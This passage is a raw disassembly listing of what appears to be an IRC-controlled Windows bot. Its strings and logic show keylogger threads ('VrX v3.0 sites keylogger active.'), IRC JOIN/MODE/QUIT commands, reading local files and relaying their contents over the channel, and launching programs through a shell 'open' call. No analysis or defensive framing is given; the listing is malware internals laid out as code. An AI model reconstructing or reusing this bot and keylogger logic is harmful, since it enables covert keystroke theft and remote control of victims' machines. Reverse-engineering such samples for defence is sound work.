		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A338
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_222C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset byte_414703
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_40883F


loc_40882D:				; CODE XREF: sub_401ACD+6D70j
		cmp	[ebp+var_2220],	ebx
		jnz	short loc_40885A
		push	32h
		call	near ptr 26803E7h
		nop
		jmp	short loc_40882D
; ---------------------------------------------------------------------------


loc_40883F:				; CODE XREF: sub_401ACD+6D5Ej
		call	near ptr 2680E92h
		nop
		push	eax
		push	offset dword_42A2FC


loc_40884B:				; CODE XREF: sub_401ACD+6CADj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40885A:				; CODE XREF: sub_401ACD+6C91j
					; sub_401ACD+6D66j
		cmp	[ebp+var_8], ebx
		jnz	loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403FB6
; ---------------------------------------------------------------------------


loc_40887A:				; CODE XREF: sub_401ACD+48BDj
					; sub_401ACD+48D4j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2F4
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h


loc_408897:				; CODE XREF: sub_401ACD+6E31j
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644


loc_4088B1:				; CODE XREF: sub_401ACD+789Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2EC
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E96C[eax]
		call	sub_409823
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_4088DA:				; CODE XREF: sub_401ACD+488Fj
					; sub_401ACD+48A6j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		push	offset dword_42A2E0
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 14h
		jmp	short loc_408897
; ---------------------------------------------------------------------------


loc_408900:				; CODE XREF: sub_401ACD+4861j
					; sub_401ACD+4878j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2EC
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E96C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42A2C4


loc_408967:				; CODE XREF: sub_401ACD+6F24j
					; sub_401ACD+6F92j ...
		call	sub_415DAC
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_408971:				; CODE XREF: sub_401ACD+4833j
					; sub_401ACD+484Aj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089A2
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2BC
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4089A2:				; CODE XREF: sub_401ACD+6EBEj
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2EC
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E96C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A2A0
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_4089F6:				; CODE XREF: sub_401ACD+4805j
					; sub_401ACD+481Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	esi
		push	offset dword_42A2EC
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E96C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A284
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408A64:				; CODE XREF: sub_401ACD+47D7j
					; sub_401ACD+47EEj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_42A25C
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_408A9E:				; CODE XREF: sub_401ACD+47A9j
					; sub_401ACD+47C0j
		push	[ebp+var_8C]
		push	offset dword_42CCD8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	offset dword_42A250
		push	[ebp+arg_4]
		call	sub_409823
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 26803E7h
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset dword_42A23C
		call	sub_415D38
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_408B04:				; CODE XREF: sub_401ACD+477Bj
					; sub_401ACD+4792j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A96C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		push	esi
		push	edi
		push	offset unk_42A220
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408B6D:				; CODE XREF: sub_401ACD+474Dj
					; sub_401ACD+4764j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		push	esi
		push	edi
		push	offset unk_42A204
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408BBE:				; CODE XREF: sub_401ACD+471Fj
					; sub_401ACD+4736j
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		push	eax
		push	edi
		call	sub_415C40
		pop	ecx
		pop	ecx
		push	edi
		push	offset unk_42A1E8
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_408BF0:				; CODE XREF: sub_401ACD+46F1j
					; sub_401ACD+4708j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418A2E


loc_408C05:				; CODE XREF: sub_401ACD+25ECj
		add	esp, 14h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408C0D:				; CODE XREF: sub_401ACD+46B1j
					; sub_401ACD+46C8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409644
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408CB1
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408C99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A434
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	edi
		push	offset unk_42A1C4
		push	eax
		call	sub_41C266
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408C99:				; CODE XREF: sub_401ACD+7171j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A194
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CB1:				; CODE XREF: sub_401ACD+715Cj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A17C
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CFB:				; CODE XREF: sub_401ACD+4434j
					; sub_401ACD+444Bj
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."


loc_408D08:				; CODE XREF: sub_401ACD+103Cj
					; sub_401ACD+108Fj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B648
		add	esp, 20h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408D24:				; CODE XREF: sub_401ACD+4406j
					; sub_401ACD+441Dj
		push	23h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_408D3A
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408D3A:				; CODE XREF: sub_401ACD+7261j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DB9
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408D9D
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DBD8
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D9D
		mov	esi, [ebp+var_88]


loc_408D9D:				; CODE XREF: sub_401ACD+72B2j
					; sub_401ACD+72C8j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
		jmp	short loc_408E0F
; ---------------------------------------------------------------------------


loc_408DB9:				; CODE XREF: sub_401ACD+729Dj
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E97
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408DF5
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DBD8
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DF5
		mov	esi, [ebp+var_88]


loc_408DF5:				; CODE XREF: sub_401ACD+730Aj
					; sub_401ACD+7320j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aNormalKeyLogge ; "Normal key logger active."


loc_408E0F:				; CODE XREF: sub_401ACD+72EAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	ebx
		push	23h
		push	eax
		call	sub_40B3BA
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset byte_4126A7
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_408E7A


loc_408E64:				; CODE XREF: sub_401ACD+73ABj
		cmp	[ebp+var_A04], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26803E7h
		nop
		jmp	short loc_408E64
; ---------------------------------------------------------------------------


loc_408E7A:				; CODE XREF: sub_401ACD+7395j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...


loc_408E86:				; CODE XREF: sub_401ACD+20F8j
					; sub_401ACD+2E94j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_408E97:				; CODE XREF: sub_401ACD+72FBj
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408EA1:				; CODE XREF: sub_401ACD+4065j
					; sub_401ACD+407Cj
		push	offset aR	; "r"
		push	edi
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408F0D
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 0Ch


loc_408ECA:				; CODE XREF: sub_401ACD+742Cj
		test	eax, eax
		jz	short loc_408EFB
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 20h
		jmp	short loc_408ECA
; ---------------------------------------------------------------------------


loc_408EFB:				; CODE XREF: sub_401ACD+73FFj
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	edi
		push	offset unk_42A0A8
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_408F0D:				; CODE XREF: sub_401ACD+73E5j
		push	edi
		push	offset unk_42A088
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408F18:				; CODE XREF: sub_401ACD+4037j
					; sub_401ACD+404Ej
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	offset asc_42A084 ; "\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_419F9D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408F55
		push	offset unk_42A058
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F55:				; CODE XREF: sub_401ACD+747Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A040
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408F6F:				; CODE XREF: sub_401ACD+4009j
					; sub_401ACD+4020j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		call	sub_41875E
		test	eax, eax
		pop	ecx
		jnz	short loc_408F9D
		push	offset unk_42A020
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F9D:				; CODE XREF: sub_401ACD+74C7j
		push	offset dword_42A004


loc_408FA2:				; CODE XREF: sub_401ACD+7486j
					; sub_401ACD+74CEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408678
; ---------------------------------------------------------------------------


loc_408FB5:				; CODE XREF: sub_401ACD+3FDBj
					; sub_401ACD+3FF2j
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_408FE4
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_408FE4:				; CODE XREF: sub_401ACD+7503j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FEC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset sub_41B302
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_409085


loc_40906F:				; CODE XREF: sub_401ACD+75B6j
		cmp	[ebp+var_1EF8],	ebx
		jnz	loc_406C1F
		push	32h
		call	near ptr 26803E7h
		nop
		jmp	short loc_40906F
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+75A0j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_429FAC


loc_409091:				; CODE XREF: sub_401ACD+298Bj
					; sub_401ACD+743Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+3FADj
					; sub_401ACD+3FC4j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_41036B
		add	esp, 10h
		push	edi
		push	offset dword_429F94
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_4090C3:				; CODE XREF: sub_401ACD+3F7Fj
					; sub_401ACD+3F96j
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1D38]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F70
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset loc_4161C1
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	loc_4023CA


loc_40918A:				; CODE XREF: sub_401ACD+76D1j
		cmp	[ebp+var_1BA4],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_40918A
; ---------------------------------------------------------------------------


loc_4091A0:				; CODE XREF: sub_401ACD+3F51j
					; sub_401ACD+3F68j
		push	edi
		nop
		call	near ptr 2680664h
		test	eax, eax
		jz	short loc_4091C7
		push	edi
		push	offset dword_429F54
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_40929A
; ---------------------------------------------------------------------------


loc_4091C7:				; CODE XREF: sub_401ACD+76DCj
		push	offset dword_42A5AC
		call	sub_418699
		pop	ecx
		push	eax
		jmp	loc_403EED
; ---------------------------------------------------------------------------


loc_4091D8:				; CODE XREF: sub_401ACD+3F23j
					; sub_401ACD+3F3Aj
		push	edi
		call	sub_41C159
		push	eax
		call	sub_419F16
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4091F5
		push	offset unk_429F30
		jmp	short loc_4091FA
; ---------------------------------------------------------------------------


loc_4091F5:				; CODE XREF: sub_401ACD+771Fj
		push	offset unk_429F00


loc_4091FA:				; CODE XREF: sub_401ACD+7726j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406C22
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_409233:				; CODE XREF: sub_401ACD+3EF5j
					; sub_401ACD+3F0Cj
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419C09
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409255
		push	offset unk_429EE0
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409255:				; CODE XREF: sub_401ACD+777Cj
		push	offset unk_429EB0
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40925F:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDEj
		push	edi
		call	dword_4CBA64
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_4092A2
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB9DC
		cmp	eax, ebx
		jz	short loc_4092BD
		push	dword ptr [eax]


loc_409288:				; CODE XREF: sub_401ACD+77EEj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E90
		push	eax
		call	sub_41C266


loc_40929A:				; CODE XREF: sub_401ACD+76F5j
		add	esp, 10h
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_4092A2:				; CODE XREF: sub_401ACD+77A2j
		push	edi
		call	dword_4CBAA8
		cmp	eax, ebx
		jz	short loc_4092BD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CBAB0
		push	eax
		jmp	short loc_409288
; ---------------------------------------------------------------------------


loc_4092BD:				; CODE XREF: sub_401ACD+77B7j
					; sub_401ACD+77DEj
		push	offset unk_429E68
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_4092C7:				; CODE XREF: sub_401ACD+3E99j
					; sub_401ACD+3EB0j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BFD0
		add	esp, 0Ch
		push	edi
		push	offset unk_429E44
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4092E0:				; CODE XREF: sub_401ACD+3E6Bj
					; sub_401ACD+3E82j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB990
		test	eax, eax
		push	edi
		jz	short loc_409300
		push	offset unk_429E24
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409300:				; CODE XREF: sub_401ACD+7827j
		push	offset unk_429E00
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40930A:				; CODE XREF: sub_401ACD+3E3Dj
					; sub_401ACD+3E54j
		mov	al, [edi]
		mov	byte_429094, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_429DDC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_40931F:				; CODE XREF: sub_401ACD+3E0Fj
					; sub_401ACD+3E26j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B8A0
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_4088B1
; ---------------------------------------------------------------------------


loc_40936D:				; CODE XREF: sub_401ACD+3DE1j
					; sub_401ACD+3DF8j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_401F75
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F75
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E96C[eax]
		call	sub_409823
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 26803E7h
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E96C[eax]
		call	dword_4CBABC
		push	[ebp+var_10]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E974[eax]
		nop
		call	near ptr 26A0000h
		push	edi
		call	sub_41C159
		imul	eax, 234h
		push	edi
		mov	dword_43E974[eax], ebx
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E760[eax], bl
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409418:				; CODE XREF: sub_401ACD+3DB3j
					; sub_401ACD+3DCAj
		push	edi
		push	offset aAll	; "all"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409447
		call	sub_40B583
		cmp	eax, ebx
		jle	short loc_40943D
		push	eax
		push	offset unk_429DB0
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_40943D:				; CODE XREF: sub_401ACD+7963j
		push	offset unk_429D88
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_409447:				; CODE XREF: sub_401ACD+795Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401F75
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_409463:				; CODE XREF: sub_401ACD+7A07j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401F75
		push	esi
		call	sub_41C159
		push	eax
		call	sub_40B4F5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40948A
		push	offset unk_429D64
		jmp	short loc_40948F
; ---------------------------------------------------------------------------


loc_40948A:				; CODE XREF: sub_401ACD+79B4j
		push	offset unk_429D38


loc_40948F:				; CODE XREF: sub_401ACD+79BBj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4094BF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4094BF:				; CODE XREF: sub_401ACD+79D4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409463
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4094DB:				; CODE XREF: sub_401ACD+3D85j
					; sub_401ACD+3D9Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset dword_42A2EC
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_429D20
		jmp	loc_40963D
; ---------------------------------------------------------------------------


